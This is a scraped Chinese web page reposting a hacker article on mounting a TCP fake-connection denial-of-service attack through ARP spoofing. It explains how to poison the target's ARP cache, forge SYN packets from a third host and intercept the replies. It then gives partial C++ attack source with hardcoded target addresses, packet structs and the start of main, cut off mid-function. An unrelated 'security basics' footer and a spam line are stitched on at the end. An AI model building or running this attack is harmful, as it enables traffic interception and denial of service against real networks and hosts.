<form id="hz9zz"></form>
  • <form id="hz9zz"></form>

      <nobr id="hz9zz"></nobr>

      <form id="hz9zz"></form>

    1. 明輝手游網中心:是一個免費提供流行視頻軟件教程、在線學習分享的學習平臺!

      基于ARP欺騙的TCP偽連接DOS

      [摘要]從某種意義上說, 如果能夠制造TCP偽連接, 那么D.o.S也就比較容易實現了。 以前LionD8就曾經用這個思路做出了一個新型D.o.S, 而今天, 我用的也是這個思路。 但是, 如果直接偽造...

      從某種意義上說, 如果能夠制造TCP偽連接, 那么D.o.S也就比較容易實現了。 以前LionD8就曾經用這個思路做出了一個新型D.o.S, 而今天, 我用的也是這個思路。 但是, 如果直接偽造TCP三次握手而不作其他任何處理, 那卻是不行的。 因為, 當攻擊的目標主機接收到我們發過去的偽造的SYN包后會發回一個SYN+ACK包(也就是第二次握手)。 而當我們的系統收到這個SYN+ACK包后, 由于系統內并沒有發起真正的TCP連接, 因此系統會發回一個RST包, 這個包將使目標主機重置連接。 這樣, 這個偽連接就建立失敗了。

        要解決這個問題, 辦法有不少, 而我這里要用的方法就是ARP欺騙。 首先, 我們要對目標主機進行ARP欺騙, 讓它認為我們是同一網段中的另一臺機器。 然后我們就可以偽裝這臺機器向目標主機發起TCP偽連接了。 這樣一來, 即使目標主機返回一個SYN+ACK包, 這個包也不會進入到我們的系統(因為這個包的目的IP不會是我們而應該是我們偽裝的那臺主機的IP), 這樣, 我們的系統也不會向目標主機發送RST包了。

        打個比方, 假設我們是主機A, 現在我想要攻擊主機B。 首先, 我先偽裝主機C對B進行ARP欺騙(以C的IP地址和A的MAC地址構造ARP應答包發送到B), 這樣, B的ARP緩存中就會記錄下C的IP對應A的MAC地址。 然后, 我們再以C的IP為源IP構造SYN數據包, 向B發起TCP偽連接。 當B收到這個SYN包之后, 它會構造一個SYN+ACK包發往C。 但是, 由于此時在B的ARP緩存中記錄著:C的IP對應A的MAC地址, 因此, 這個SYN+ACK包實際上被發送到了A。 雖然, 這個包將被A的系統所丟棄(因為這個包的目的IP是C的IP而不是A的IP, 所以A的系統將會丟棄這個包), 但是, 我們仍然可以從鏈路層直接將這個數據幀獲取下來。 得到了這個SYN+ACK包之后, 我們需要再次偽裝C向B發回一個ACK包完成第三次握手。 這樣, TCP初始化連接的三次握手都完成了, 我們的偽連接也成功建立了!

        偽連接建立之后, 我們還可以繼續向目標主機發送數據, 來保證TCP連接的存活。

        這里, 有幾個需要注意的問題:首先, 為了保證攻擊過程中目標主機的ARP緩存不被更改, 我們需要持續不斷的對其進行ARP欺騙;第二, 為了防止在攻擊過程中我們偽裝的主機向目標主機發起通信, 刷新目標主機的ARP緩存, 對我們的攻擊造成影響, 我們還可以對偽裝主機也同時進行ARP欺騙, 以增加攻擊成功的幾率。

        好了, 說了這么多, 下面就給出我實現的源代碼, 歡迎大蝦們多多指教。

        // DoS_By_ARPCheat.cpp : Defines the entry point for the console application.

        //

        #include "stdafx.h"

        #include "winsock2.h"

        #include "Packet32.h"

        #include "stdio.h"

        #pragma comment(lib, "packet")

        #pragma comment(lib, "ws2_32")

        //下面幾個宏是測試用的主機的IP和MAC

        #define SIMULATE_MAC "0011111d735a" //偽裝主機的MAC地址

        #define TARGET_MAC "001111c6f7fe" //目的主機的MAC地址

        #define LOCAL_MAC "00e06e41508f" //本機MAC地址

        #define TARGET_IP "211.83.97.24" //目的主機的IP

        #define SIMULATE_IP "211.83.97.16" //偽裝主機的IP

        #define NDIS_PACKET_TYPE_DIRECTED 0x0001 //直接模式

        #pragma pack(push, 1)

        struct ET_HEADER //以太網頭部

        {

        unsigned char eh_dst[6];

        unsigned char eh_src[6];

        unsigned short eh_type;

        };

        struct ARP_HEADER //ARP頭部

        {

        unsigned short arp_hdr;

        unsigned short arp_pro;

        unsigned char arp_hln;

        unsigned char arp_pln;

        unsigned short arp_opt;

        unsigned char arp_sha[6];

        unsigned long arp_spa;

        unsigned char arp_tha[6];

        unsigned long arp_tpa;

        };

        struct IP_HEADER //IP頭部

        {

        char m_ver_hlen; //4位版本號,4位ip頭部長

        char m_tos;

        USHORT m_tlen;

        USHORT m_ident;

        USHORT m_flag_frag; //3位標志位(1位未用位,1位DF,1位MF),13位片斷偏移量

        char m_ttl;

        char m_protocol;

        USHORT m_cksum;

        ULONG m_sIP;

        ULONG m_dIP;

        };

        struct TCP_HEADER //TCP頭部

        {

        USHORT m_sport;

        USHORT m_dport;

        ULONG m_seq;

        ULONG m_ack;

        char m_hlen_res4; //4位tcp頭部長,6位保留的前4位

        char m_res2_flag; //6位保留的后2位,6位標志

        USHORT m_win;

        USHORT m_cksum;

        USHORT m_urp;

        };

        struct PSD_HEADER //偽頭部, 計算校驗和用

        {

        ULONG m_saddr; //源地址

        ULONG m_daddr; //目的地址

        char m_mbz;

        char m_ptcl; //協議類型

        USHORT m_tcpl; //TCP長度

        };

        struct TCP_OPTION //TCP選項, 發起偽連接時要用來與對方協商

        {

        USHORT unKnown;

        USHORT maxSegSize; //MSS,以太網一般為1460

        char no1;

        char no2;

        USHORT SACK;

        };

        struct CHEAT_ARP_INFO //ARP欺騙線程的參數

        {

        char simulateIP[20];

        char targetIP[20];

        char targetMAC[13];

        };

        #pragma pack(pop)

        USHORT CheckSum(USHORT *buffer, int size); //計算校驗和的函數

        void StrToMac(char *str,char *mac); //字符串轉換為MAC地址

        void ListenACK(); //監聽函數,監聽對方的回包

        void AssayAndSendData(LPPACKET lpPacket); //分析數據幀并發送回包

        DWORD WINAPI ArpCheat(void *pInfo); //ARP欺騙線程

        DWORD WINAPI SendSyn(void *no); //發送SYN包的線程

        void Info();

        LPADAPTER lpAdapter=NULL; //適配器指針

        USHORT ipID=1638; //IP標識

        USHORT sourcePort=1056; //起始源端口

        USHORT targetPort=445; //目的端口

        int main(int argc, char* argv[])

        {

        Info();

        WSADATA wsaData;

        if(WSAStartup(MAKEWORD(2,1), &wsaData)!=0)

        {

        printf("WSAStartup error!\n");

        return -1;

        }


      上面是電腦上網安全的一些基礎常識,學習了安全知識,幾乎可以讓你免費電腦中毒的煩擾。




      日韩精品一区二区三区高清